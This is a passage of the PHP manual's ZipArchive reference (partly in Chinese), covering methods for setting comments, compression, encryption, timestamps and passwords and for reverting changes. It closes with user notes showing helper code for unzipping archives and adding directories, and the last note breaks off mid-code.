$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
$zip->setArchiveFlag(ZipArchive::AFL_WANT_TORRENTZIP, 1);
$zip->addFromString('test.txt', 'file content goes here');
$zip->close();
echo 'ok';
} else {
echo 'failed';
}
?>

参见

  • ZipArchive::getArchiveFlag() - 返回 Zip 归档全局 flag 的值

User Contributed Notes

There are no user contributed notes for this page.


Set the comment of an entry defined by its index

  • ? ZipArchive::setArchiveFlag
  • ZipArchive::setCommentName ?
  • PHP Manual
  • ZipArchive
  • Set the comment of an entry defined by its index

ZipArchive::setCommentIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.4.0)

ZipArchive::setCommentIndex — Set the comment of an entry defined by its index

说明

public ZipArchive::setCommentIndex(int $index, string $comment): bool

Set the comment of an entry defined by its index.

参数

index

Index of the entry.

comment

The contents of the comment.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Open an archive and set a comment for an entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
$zip->setCommentIndex(2, 'new entry comment');
$zip->close();
echo 'ok';
} else {
echo 'failed';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Set the comment of an entry defined by its name

  • ? ZipArchive::setCommentIndex
  • ZipArchive::setCompressionIndex ?
  • PHP Manual
  • ZipArchive
  • Set the comment of an entry defined by its name

ZipArchive::setCommentName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.4.0)

ZipArchive::setCommentName — Set the comment of an entry defined by its name

说明

public ZipArchive::setCommentName(string $name, string $comment): bool

Set the comment of an entry defined by its name.

参数

name

Name of the entry.

comment

The contents of the comment.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Open an archive and set a comment for an entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
$zip->setCommentName('entry1.txt', 'new entry comment');
$zip->close();
echo 'ok';
} else {
echo 'failed';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Set the compression method of an entry defined by its index

  • ? ZipArchive::setCommentName
  • ZipArchive::setCompressionName ?
  • PHP Manual
  • ZipArchive
  • Set the compression method of an entry defined by its index

ZipArchive::setCompressionIndex

(PHP 7, PHP 8, PECL zip >= 1.13.0)

ZipArchive::setCompressionIndex — Set the compression method of an entry defined by its index

说明

public ZipArchive::setCompressionIndex(int $index, int $method, int $compflags = 0): bool

Set the compression method of an entry defined by its index.

参数

index

Index of the entry.

method

The compression method, one of the ZipArchive::CM_* constants.

compflags

Compression level.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Add files with different compression methods to an archive

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
$zip->addFromString('foo', 'Some text');
$zip->addFromString('bar', 'Some other text');
$zip->setCompressionIndex(0, ZipArchive::CM_STORE);
$zip->setCompressionIndex(1, ZipArchive::CM_DEFLATE);
$zip->close();
echo 'ok';
} else {
echo 'failed';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Set the compression method of an entry defined by its name

  • ? ZipArchive::setCompressionIndex
  • ZipArchive::setEncryptionIndex ?
  • PHP Manual
  • ZipArchive
  • Set the compression method of an entry defined by its name

ZipArchive::setCompressionName

(PHP 7, PHP 8, PECL zip >= 1.13.0)

ZipArchive::setCompressionName — Set the compression method of an entry defined by its name

说明

public ZipArchive::setCompressionName(string $name, int $method, int $compflags = 0): bool

Set the compression method of an entry defined by its name.

参数

name

Name of the entry.

method

The compression method, one of the ZipArchive::CM_* constants.

compflags

Compression level.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Add files with different compression methods to an archive

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
$zip->addFromString('foo', 'Some text');
$zip->addFromString('bar', 'Some other text');
$zip->setCompressionName('foo', ZipArchive::CM_STORE);
$zip->setCompressionName('bar', ZipArchive::CM_DEFLATE);
$zip->close();
echo 'ok';
} else {
echo 'failed';
}
?>

Example #2 Add file and set compression method

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
$zip->addFile('foo.jpg', 'bar.jpg');
$zip->setCompressionName('bar.jpg', ZipArchive::CM_XZ);
$zip->close();
echo 'ok';
} else {
echo 'failed';
}
?>

User Contributed Notes

gajowy at agzeta dot pl 03-Feb-2023 10:19
The compression level (compflags) option is, generally speaking, an integer value between 0 and 9. The behavior of the system depends on the selected method and the value of compflags and can sometimes be not you expected.

The result below is from PHP 8.1 on Windows platform and may possibly be different on other systems or versions:

- for the CM_DEFAULT method, always CM_DEFLATE is used with level 9, regardless of what you put as compflags,

- for the CM_STORE method, for compflags 0-9 you get the same result, which is obvious because the method itself means "no compression at all". However, for compflags>9, surprisingly the CM_DEFLATE method is used instead with compression level 9.

- for CM_DEFLATE method, 1 means the fastest and weakest compression, while 9 - the slowest and strongest one. compflags=0 and compflags>9 works as it if were with compflags=9,

- for CM_BZIP2 method, 1 means the fastest and weakest compression, while 9 - the slowest and strongest one. compflags=0 works like compflag=9, and if you use compflags>9, the method will surprisingly switch to CM_DEFLATE level 9,

- for CM_XZ method, 0 means the fastest and weakest compression, while 9 - the slowest and strongest one. For compflags>9 the method surprisingly switch to CM_DEFLATE level 9.


Set the encryption method of an entry defined by its index

  • ? ZipArchive::setCompressionName
  • ZipArchive::setEncryptionName ?
  • PHP Manual
  • ZipArchive
  • Set the encryption method of an entry defined by its index

ZipArchive::setEncryptionIndex

(PHP >= 7.2.0, PHP 8, PECL zip >= 1.14.0)

ZipArchive::setEncryptionIndex — Set the encryption method of an entry defined by its index

说明

public ZipArchive::setEncryptionIndex(int $index, int $method, ?string $password = null): bool

Set the encryption method of an entry defined by its index.

参数

index

Index of the entry.

method

The encryption method defined by one of the ZipArchive::EM_ constants.

password

Optional password, default used when missing.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | password is now nullable.

注释

Note:

This function is only available if built against libzip ≥ 1.2.0.

参见

  • ZipArchive::setPassword() - Set the password for the active archive
  • ZipArchive::setEncryptionName() - Set the encryption method of an entry defined by its name

User Contributed Notes

There are no user contributed notes for this page.


Set the encryption method of an entry defined by its name

  • ? ZipArchive::setEncryptionIndex
  • ZipArchive::setExternalAttributesIndex ?
  • PHP Manual
  • ZipArchive
  • Set the encryption method of an entry defined by its name

ZipArchive::setEncryptionName

(PHP >= 7.2.0, PHP 8, PECL zip >= 1.14.0)

ZipArchive::setEncryptionName — Set the encryption method of an entry defined by its name

说明

public ZipArchive::setEncryptionName(string $name, int $method, ?string $password = null): bool

Set the encryption method of an entry defined by its name.

参数

name

Name of the entry.

method

The encryption method defined by one of the ZipArchive::EM_ constants.

password

Optional password, default used when missing.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | password is now nullable.

示例

This example creates a ZIP file archive test.zip and add the file test.txt encrypted using the AES 256 method.

Example #1 Archive and encrypt a file

<?php
$zip = new ZipArchive();
if ($zip->open('test.zip', ZipArchive::CREATE) === TRUE) {
$zip->setPassword('secret');
$zip->addFile('text.txt');
$zip->setEncryptionName('text.txt', ZipArchive::EM_AES_256);
$zip->close();
echo "Ok\n";
} else {
echo "KO\n";
}
?>

注释

Note:

This function is only available if built against libzip ≥ 1.2.0.

参见

  • ZipArchive::setPassword() - Set the password for the active archive
  • ZipArchive::setEncryptionIndex() - Set the encryption method of an entry defined by its index

User Contributed Notes

romke at romke dot nl 30-Mar-2021 10:34
On windows is the "EM_AES_256" by default not supported, but you can use winrar, winzip or 7zip.

At first we had a password of 128 chars (this was to long) and all extract applications give an error that the password was incorrect.

The next time we did use a password of 52 chars., this time i did work!
mauro dot chojrin at leewayweb dot com 14-Aug-2020 05:13
Files compressed using this function on Linux won't be decompressed using Windows.

There seems to be some incompatibility with Windows built-in decompressor.

There's an alternative library that works better here: https://github.com/Ne-Lexa/php-zip

I got windows to open a file created with it by using the PKWARE encryption method


Set the external attributes of an entry defined by its index

  • ? ZipArchive::setEncryptionName
  • ZipArchive::setExternalAttributesName ?
  • PHP Manual
  • ZipArchive
  • Set the external attributes of an entry defined by its index

ZipArchive::setExternalAttributesIndex

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL zip >= 1.12.4)

ZipArchive::setExternalAttributesIndex — Set the external attributes of an entry defined by its index

说明

public ZipArchive::setExternalAttributesIndex(
int $index,
int $opsys,
int $attr,
int $flags = 0
): bool

Set the external attributes of an entry defined by its index.

参数

index

Index of the entry.

opsys

The operating system code defined by one of the ZipArchive::OPSYS_ constants.

attr

The external attributes. Value depends on operating system.

flags

Optional flags. Currently unused.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Set the external attributes of an entry defined by its name

  • ? ZipArchive::setExternalAttributesIndex
  • ZipArchive::setMtimeIndex ?
  • PHP Manual
  • ZipArchive
  • Set the external attributes of an entry defined by its name

ZipArchive::setExternalAttributesName

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL zip >= 1.12.4)

ZipArchive::setExternalAttributesName — Set the external attributes of an entry defined by its name

说明

public ZipArchive::setExternalAttributesName(
string $name,
int $opsys,
int $attr,
int $flags = 0
): bool

Set the external attributes of an entry defined by its name.

参数

name

Name of the entry.

opsys

The operating system code defined by one of the ZipArchive::OPSYS_ constants.

attr

The external attributes. Value depends on operating system.

flags

Optional flags. Currently unused.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

This example opens a ZIP file archive test.zip and add the file test.txt with its Unix rights as external attributes.

Example #1 Archive a file, with its Unix rights

<?php
$zip = new ZipArchive();
$stat = stat($filename='test.txt');
if (is_array($stat) && $zip->open('test.zip', ZipArchive::CREATE) === TRUE) {
$zip->addFile($filename);
$zip->setExternalAttributesName($filename, ZipArchive::OPSYS_UNIX, $stat['mode'] << 16);
$zip->close();
echo "Ok\n";
} else {
echo "KO\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Set the modification time of an entry defined by its index

  • ? ZipArchive::setExternalAttributesName
  • ZipArchive::setMtimeName ?
  • PHP Manual
  • ZipArchive
  • Set the modification time of an entry defined by its index

ZipArchive::setMtimeIndex

(PHP >= 8.0.0, PECL zip >= 1.16.0)

ZipArchive::setMtimeIndex — Set the modification time of an entry defined by its index

说明

public ZipArchive::setMtimeIndex(int $index, int $timestamp, int $flags = 0): bool

Set the modification time of an entry defined by its index.

参数

index

Index of the entry.

timestamp

The modification time (unix timestamp) of the file.

flags

Optional flags, unused for now.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

This example creates a ZIP file archive test.zip and add the file test.txt with its modification date.

Example #1 Archive a file

<?php
$zip = new ZipArchive();
if ($zip->open('test.zip', ZipArchive::CREATE) === TRUE) {
$zip->addFile('text.txt');
$zip->setMtimeIndex(0, mktime(0,0,0,12,25,2019));
$zip->close();
echo "Ok\n";
} else {
echo "KO\n";
}
?>

注释

Note:

This function is only available if built against libzip ≥ 1.0.0.

参见

  • ZipArchive::setMtimeName() - Set the modification time of an entry defined by its name

User Contributed Notes

There are no user contributed notes for this page.


Set the modification time of an entry defined by its name

  • ? ZipArchive::setMtimeIndex
  • ZipArchive::setPassword ?
  • PHP Manual
  • ZipArchive
  • Set the modification time of an entry defined by its name

ZipArchive::setMtimeName

(PHP >= 8.0.0, PECL zip >= 1.16.0)

ZipArchive::setMtimeName — Set the modification time of an entry defined by its name

说明

public ZipArchive::setMtimeName(string $name, int $timestamp, int $flags = 0): bool

Set the modification time of an entry defined by its name.

参数

name

Name of the entry.

timestamp

The modification time (unix timestamp) of the file.

flags

Optional flags, unused for now.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

This example creates a ZIP file archive test.zip and add the file test.txt with its modification date.

Example #1 Archive a file

<?php
$zip = new ZipArchive();
if ($zip->open('test.zip', ZipArchive::CREATE) === TRUE) {
$zip->addFile('text.txt');
$zip->setMtimeName('text.txt', mktime(0,0,0,12,25,2019));
$zip->close();
echo "Ok\n";
} else {
echo "KO\n";
}
?>

注释

Note:

This function is only available if built against libzip ≥ 1.0.0.

参见

  • ZipArchive::setMtimeIndex() - Set the modification time of an entry defined by its index

User Contributed Notes

There are no user contributed notes for this page.


Set the password for the active archive

  • ? ZipArchive::setMtimeName
  • ZipArchive::statIndex ?
  • PHP Manual
  • ZipArchive
  • Set the password for the active archive

ZipArchive::setPassword

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL zip >= 1.12.4)

ZipArchive::setPassword — Set the password for the active archive

说明

public ZipArchive::setPassword(string $password): bool

Sets the password for the active archive.

参数

password

The password to be used for the archive.

返回值

成功时返回 true， 或者在失败时返回 false。

注释

Note:

As of PHP 7.2.0 and libzip 1.2.0 the password is used to decompress the archive, and is also the default password for ZipArchive::setEncryptionName() and ZipArchive::setEncryptionIndex(). Formerly, this function only set the password to be used to decompress the archive; it did not turn a non-password-protected ZipArchive into a password-protected ZipArchive.

参见

  • ZipArchive::setEncryptionIndex() - Set the encryption method of an entry defined by its index
  • ZipArchive::setEncryptionName() - Set the encryption method of an entry defined by its name

User Contributed Notes

blindfury at mailinator dot com 02-Mar-2018 07:43
To create password protected archive in PHP >= 7.2 use:

<?php
    $zip->setEncryptionName('test.txt', ZipArchive::EM_AES_256, 'test');
?>

Based on example from the documentation:

<?php

$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('test.txt', 'file content goes here');
    $zip->setEncryptionName('test.txt', ZipArchive::EM_AES_256, 'passw0rd');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}

?>
stanislav dot eckert at vizson dot de 26-Sep-2014 02:43
It seems that this function supports only decryption of password protected archives (see changelog: http://pecl.php.net/package-changelog.php?package=zip). Creation of password protected archives is not supported (they will be created simply as non-protected archives).

Example code for extraction of files from password protected ZIP archives:

<?php
    $zip = new ZipArchive();
    $zip_status = $zip->open("test.zip");

    if ($zip_status === true)
    {
        if ($zip->setPassword("MySecretPassword"))
        {
            if (!$zip->extractTo(__DIR__))
                echo "Extraction failed (wrong password?)";
        }

        $zip->close();
    }
    else
    {
        die("Failed opening archive: ". @$zip->getStatusString() . " (code: ". $zip_status .")");
    }
?>


Get the details of an entry defined by its index

  • ? ZipArchive::setPassword
  • ZipArchive::statName ?
  • PHP Manual
  • ZipArchive
  • Get the details of an entry defined by its index

ZipArchive::statIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::statIndex — Get the details of an entry defined by its index

说明

public ZipArchive::statIndex(int $index, int $flags = 0): array|false

The function obtains information about the entry defined by its index.

参数

index

Index of the entry

flags

ZipArchive::FL_UNCHANGED may be ORed to it to request information about the original file in the archive, ignoring any changes made.

返回值

Returns an array containing the entry details 或者在失败时返回 false.

示例

Example #1 Dump the stat info of an entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
print_r($zip->statIndex(3));
$zip->close();
} else {
echo 'failed, code:' . $res;
}
?>

以上示例的输出类似于：

Array
(
    [name] => foobar/baz
    [index] => 3
    [crc] => 499465816
    [size] => 27
    [mtime] => 1123164748
    [comp_size] => 24
    [comp_method] => 8
)

User Contributed Notes

eion at robbmob dot com 12-Jan-2016 01:39
Note that the 'mtime' field only comes from the DOS-format time that's stored in the zip file, which is only accurate to the nearest 2-seconds.  Zip files can store mtime's in multiple, optional fields but PHP's zip library does not retrieve them (nor does it provide API to access the extra fields)

The end result is that you will see timestamps that could be out by one second (if the original timestamp was odd), and won't necessarily match was other unzip programs will show the mtime as.
Chris Lewis 20-Dec-2011 12:15
Note that the signed-integer CRC result is only true on 32-bit systems. 64-bit systems return correct CRCs.

A safer way (as recommended by crc32() function page) might be:

if ($file['crc'] < 0)
   $file['crc'] = sprintf("%u",$file['crc']);
Anonymous 16-Nov-2011 08:20
The CRC returned from this method is a signed number and so can be negative. This isn't how most CRC's are represented and so can cause problems. Another thing to know is that the standerd CRC algorithm used for zip files is CRC32b.

So to put this together lets say that you wanted to extract the first file from a zip and then compare the original CRC with the CRC for the extracted file this is what you would need to do. (proper error checking is omitted for simplicity).

<?php
 $zip = new ZipArchive();

 $zip->open("myZip.zip");

 $stat = $zip->statIndex( 0 );

 $name = $stat['name'];

 $oldCrc = $stat['crc'];

 $zip->extractTo("myPath", $name);

 $newCrc = hexdec(hash_file("crc32b", "myPath/" . $name));

 // Have to test both cases as the unsigned CRC from within the zip might appear negative as a signed int.
 if($newCrc !== $oldCrc && ($oldCrc + 4294967296) !== $newCrc) {
    echo "The files don't match!";
 }
?>


Get the details of an entry defined by its name

  • ? ZipArchive::statIndex
  • ZipArchive::unchangeAll ?
  • PHP Manual
  • ZipArchive
  • Get the details of an entry defined by its name

ZipArchive::statName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::statName — Get the details of an entry defined by its name

说明

public ZipArchive::statName(string $name, int $flags = 0): array|false

The function obtains information about the entry defined by its name.

参数

name

Name of the entry

flags

The flags argument specifies how the name lookup should be done. Also, ZipArchive::FL_UNCHANGED may be ORed to it to request information about the original file in the archive, ignoring any changes made.

  • ZipArchive::FL_NOCASE

  • ZipArchive::FL_NODIR

  • ZipArchive::FL_UNCHANGED

返回值

Returns an array containing the entry details 或者在失败时返回 false.

示例

Example #1 Dump the stat info of an entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
print_r($zip->statName('foobar/baz'));
$zip->close();
} else {
echo 'failed, code:' . $res;
}
?>

以上示例的输出类似于：

Array
(
    [name] => foobar/baz
    [index] => 3
    [crc] => 499465816
    [size] => 27
    [mtime] => 1123164748
    [comp_size] => 24
    [comp_method] => 8
)

User Contributed Notes

Stewart Rice 26-Mar-2010 04:18
Since a Unix Timestamp is measured in seconds, not milliseconds, I would have to assume that mtime is 'modified time' rather than 'millisecond time'... however it does not appear to work on a Linux system


Undo all changes done in the archive

  • ? ZipArchive::statName
  • ZipArchive::unchangeArchive ?
  • PHP Manual
  • ZipArchive
  • Undo all changes done in the archive

ZipArchive::unchangeAll

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::unchangeAll — Undo all changes done in the archive

说明

public ZipArchive::unchangeAll(): bool

Undo all changes done in the archive.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

mauro dot chojrin at leewayweb dot com 29-Nov-2017 02:56
This should probably come without any surprise, but the changes can only be undone before close() is called...


Revert all global changes done in the archive

  • ? ZipArchive::unchangeAll
  • ZipArchive::unchangeIndex ?
  • PHP Manual
  • ZipArchive
  • Revert all global changes done in the archive

ZipArchive::unchangeArchive

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::unchangeArchive — Revert all global changes done in the archive

说明

public ZipArchive::unchangeArchive(): bool

Revert all global changes to the archive. For now, this only reverts archive comment changes.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Revert all changes done to an entry at the given index

  • ? ZipArchive::unchangeArchive
  • ZipArchive::unchangeName ?
  • PHP Manual
  • ZipArchive
  • Revert all changes done to an entry at the given index

ZipArchive::unchangeIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::unchangeIndex — Revert all changes done to an entry at the given index

说明

public ZipArchive::unchangeIndex(int $index): bool

Revert all changes done to an entry at the given index.

参数

index

Index of the entry.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

till at php dot net 29-Aug-2010 08:29
Consider this example:

<?php
$zip = new ZipArchive;
$zip->open(...);

$zip->addFile('path/file', 'foo');
$zip->renameIndex(0, 'bar');

echo $zip->getNameIndex(0); // 'bar'

$zip->unchangeIndex(0);

echo $zip->getNameIndex(0); // 'false'
?>

Unless you call save() in between, the unchangeIndex() call reverts back to the initial state of the archive - where index '0' did not exist.

If you called save() after addFile() and then renamed the file, you would be able to revert/undo the name change.


Revert all changes done to an entry with the given name

  • ? ZipArchive::unchangeIndex
  • Zip 函数 ?
  • PHP Manual
  • ZipArchive
  • Revert all changes done to an entry with the given name

ZipArchive::unchangeName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::unchangeName — Revert all changes done to an entry with the given name

说明

public ZipArchive::unchangeName(string $name): bool

Revert all changes done to an entry.

参数

name

Name of the entry.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Zip 函数

Warning

从 PHP 8.0.0 开始，弃用过程式 API。应该改用 ZipArchive。

Table of Contents

  • zip_close — 关闭一个ZIP档案文件
  • zip_entry_close — 关闭目录项
  • zip_entry_compressedsize — 检索目录项压缩过后的大小
  • zip_entry_compressionmethod — 检索目录实体的压缩方法
  • zip_entry_filesize — 检索目录实体的实际大小
  • zip_entry_name — 检索目录项的名称
  • zip_entry_open — 打开用于读取的目录实体
  • zip_entry_read — 读取一个打开了的压缩目录实体
  • zip_open — 打开 ZIP 文件归档
  • zip_read — 读取 ZIP 文件归档中下一项

User Contributed Notes

vk.com/vknkk 14-Aug-2015 07:01
<?php
// Extracting all *.zip files (including subfolders) into current directory (developed & tested at Win7)
$files = glob('*.zip');
if ($files)
  foreach ($files as $fl) {
    $zip = zip_open($fl);
    if (is_resource($zip)) {
      $dir = substr($fl, 0, -4); // Directory by *.zip file name (Extract into "*/")
      if (!is_dir($dir))
        mkdir($dir);
      while (is_resource($entry = zip_read($zip))) {
        $is_file = true;
        $name = zip_entry_name($entry);
        $name_parts = explode('/', $name);
        if (count($name_parts) > 1) { // Processing subfolders
          $path = array_pop($name_parts);
          $is_file = !empty($path);
          $path = $dir;
          foreach ($name_parts as $part) {
            $path .= '/'.$part;
            if (!is_dir($path))
              mkdir($path);
          }
        }
        if ($is_file)
          file_put_contents($dir.'/'.$name, zip_entry_read($entry, zip_entry_filesize($entry)));
      }
      zip_close($zip);
    }
  }
shadowbranch at gmail dot com 30-Sep-2011 05:40
This is the simplest method to unzip a file. Pass the function your filename and it will unzip it to the current directory of the script with permissions done properly on unix type operating systems. Far simpler to understand and read.

<?php
function unzip($file){
    $zip = zip_open($file);
    if(is_resource($zip)){
        $tree = "";
        while(($zip_entry = zip_read($zip)) !== false){
            echo "Unpacking ".zip_entry_name($zip_entry)."\n";
            if(strpos(zip_entry_name($zip_entry), DIRECTORY_SEPARATOR) !== false){
                $last = strrpos(zip_entry_name($zip_entry), DIRECTORY_SEPARATOR);
                $dir = substr(zip_entry_name($zip_entry), 0, $last);
                $file = substr(zip_entry_name($zip_entry), strrpos(zip_entry_name($zip_entry), DIRECTORY_SEPARATOR)+1);
                if(!is_dir($dir)){
                    @mkdir($dir, 0755, true) or die("Unable to create $dir\n");
                }
                if(strlen(trim($file)) > 0){
                    $return = @file_put_contents($dir."/".$file, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
                    if($return === false){
                        die("Unable to write file $dir/$file\n");
                    }
                }
            }else{
                file_put_contents($file, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
            }
        }
    }else{
        echo "Unable to open zip file\n";
    }
}
?>
wdtemp at seznam dot cz 12-Apr-2010 12:34
Hi,
if you have the RAW CONTENT OF THE ZIP FILE IN A STRING ONLY and you can't create files on your server (because of the SAFE MODE) to be able to create a file which you can then pass to zip_open(), you'll be having hard times getting the uncompressed content of your ZIP data.
This may help:
I've written simple ZIP decompression function for decompressing the first file from the archive stored in a string (no matter what file it is). It's just about parsing a local file header of the first file, getting raw compressed data of that file and decompression of that data (usually, data in ZIP files are compressed by 'DEFLATE' method, so we'll just decompress it by gzinflate() function then).

<?php
function decompress_first_file_from_zip($ZIPContentStr){
//Input: ZIP archive - content of entire ZIP archive as a string
//Output: decompressed content of the first file packed in the ZIP archive
    //let's parse the ZIP archive
    //(see 'http://en.wikipedia.org/wiki/ZIP_%28file_format%29' for details)
    //parse 'local file header' for the first file entry in the ZIP archive
    if(strlen($ZIPContentStr)<102){
        //any ZIP file smaller than 102 bytes is invalid
        printf("error: input data too short<br />\n");
        return '';
    }
    $CompressedSize=binstrtonum(substr($ZIPContentStr,18,4));
    $UncompressedSize=binstrtonum(substr($ZIPContentStr,22,4));
    $FileNameLen=binstrtonum(substr($ZIPContentStr,26,2));
    $ExtraFieldLen=binstrtonum(substr($ZIPContentStr,28,2));
    $Offs=30+$FileNameLen+$ExtraFieldLen;
    $ZIPData=substr($ZIPContentStr,$Offs,$CompressedSize);
    $Data=gzinflate($ZIPData);
    if(strlen($Data)!=$UncompressedSize){
        printf("error: uncompressed data have wrong size<br />\n");
        return '';
    }
    else return $Data;
}

function binstrtonum($Str){
//Returns a number represented in a raw binary data passed as string.
//This is useful for example when reading integers from a file,
// when we have the content of the file in a string only.
//Examples:
// chr(0xFF) will result as 255
// chr(0xFF).chr(0xFF).chr(0x00).chr(0x00) will result as 65535
// chr(0xFF).chr(0xFF).chr(0xFF).chr(0x00) will result as 16777215
    $Num=0;
    for($TC1=strlen($Str)-1;$TC1>=0;$TC1--){ //go from most significant byte
        $Num<<=8; //shift to left by one byte (8 bits)
        $Num|=ord($Str[$TC1]); //add new byte
    }
    return $Num;
}
?>

ENJOY!!!
wdim
yarms at mail dot ru 15-Aug-2009 09:24
very short version of function for unzipping files with folders structure:
<?php

function unzip($file){

    $zip=zip_open(realpath(".")."/".$file);
    if(!$zip) {return("Unable to proccess file '{$file}'");}

    $e='';

    while($zip_entry=zip_read($zip)) {
       $zdir=dirname(zip_entry_name($zip_entry));
       $zname=zip_entry_name($zip_entry);

       if(!zip_entry_open($zip,$zip_entry,"r")) {$e.="Unable to proccess file '{$zname}'";continue;}
       if(!is_dir($zdir)) mkdirr($zdir,0777);

       #print "{$zdir} | {$zname} \n";

       $zip_fs=zip_entry_filesize($zip_entry);
       if(empty($zip_fs)) continue;

       $zz=zip_entry_read($zip_entry,$zip_fs);

       $z=fopen($zname,"w");
       fwrite($z,$zz);
       fclose($z);
       zip_entry_close($zip_entry);

    }
    zip_close($zip);

    return($e);
}

function mkdirr($pn,$mode=null) {

  if(is_dir($pn)||empty($pn)) return true;
  $pn=str_replace(array('/', ''),DIRECTORY_SEPARATOR,$pn);

  if(is_file($pn)) {trigger_error('mkdirr() File exists', E_USER_WARNING);return false;}

  $next_pathname=substr($pn,0,strrpos($pn,DIRECTORY_SEPARATOR));
  if(mkdirr($next_pathname,$mode)) {if(!file_exists($pn)) {return mkdir($pn,$mode);} }
  return false;
}

unzip("test.zip");

?>

have a nice day :)
phillpafford+php at gmail dot com 12-Jun-2008 06:28
You could just use the linux commands

<?php

// Get the date
$date = date("m-d-y");

// Make Zip name
$zipname = "archive/site-script-backup." . $date . ".zip";

// Make a zip file
$cmd = `zip -r $zipname *`;

?>
rodrigo dot moraes at gmail dot com 29-Jan-2008 07:56
Here's a more simple extended class to add a whole directory recursively, keeping the same structure. It uses SPL.

<?php
class MyZipArchive extends ZipArchive
{
    /**
     *
     * Adds a directory recursively.
     *
     * @param string $filename The path to the file to add.
     *
     * @param string $localname Local name inside ZIP archive.
     *
     */
    public function addDir($filename, $localname)
    {
        $this->addEmptyDir($localname);
        $iter = new RecursiveDirectoryIterator($filename, FilesystemIterator::SKIP_DOTS);

        foreach ($iter as $fileinfo) {
            if (! $fileinfo->isFile() && !$fileinfo->isDir()) {
                continue;
            }

            $method = $fileinfo->isFile() ? 'addFile' : 'addDir';
            $this->$method($fileinfo->getPathname(), $localname . '/' .
                $fileinfo->getFilename());
        }
    }
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix suggested by (bart AT blueberry DOT nl) on 29-JUN-2011 with the following message. "Fix for the endless Iteratore add the flag FilesystemIterator::SKIP_DOTS"]
mmj48 at gmail dot com 08-Nov-2007 05:39
Heres a function I wrote that will extract a zip file with the same directory structure...

Enjoy:

<?php
function unzip($zipfile)
{
    $zip = zip_open($zipfile);
    while ($zip_entry = zip_read($zip))    {
        zip_entry_open($zip, $zip_entry);
        if (substr(zip_entry_name($zip_entry), -1) == '/') {
            $zdir = substr(zip_entry_name($zip_entry), 0, -1);
            if (file_exists($zdir)) {
                trigger_error('Directory "<b>' . $zdir . '</b>" exists', E_USER_ERROR);
                return false;
            }
            mkdir($zdir);
        }
        else {
            $name = zip_entry_name($zip_entry);
            if (file_exists($name)) {
                trigger_error('File "<b>' . $name . '</b>" exists', E_USER_ERROR);
                return false;
            }
            $fopen = fopen($name, "w");
            fwrite($fopen, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)), zip_entry_filesize($zip_entry));
        }
        zip_entry_close($zip_entry);
    }
    zip_close($zip);
    return true;
}
?>
nheimann at gmx dot net 03-Nov-2007 07:19
With this extension you can Add dirs with files with the ZipArchive Object

<?php
/**
 * FlxZipArchive, Extends ZipArchiv.
 * Add Dirs with Files and Subdirs.
 *
 * <code>
 *  $archive = new FlxZipArchive;
 *  // .....
 *  $archive->addDir( 'test/blub', 'blub' );
 * </code>
 */
class FlxZipArchive extends ZipArchive {
    /**
     * Add a Dir with Files and Subdirs to the archive
     *
     * @param string $location Real Location
     * @param string $name Name in Archive
     * @author Nicolas Heimann
     * @access private
     **/

    public function addDir($location, $name) {
        $this->addEmptyDir($name);

        $this->addDirDo($location, $name);
//     } // EO addDir;

    /**
     * Add Files & Dirs to archive.
     *
     * @param string $location Real Location
     * @param string $name Name in Archive
     * @author Nicolas Heimann
     * @access private
     **/

    private function addDirDo($location, $name) {
        $name .= '/';
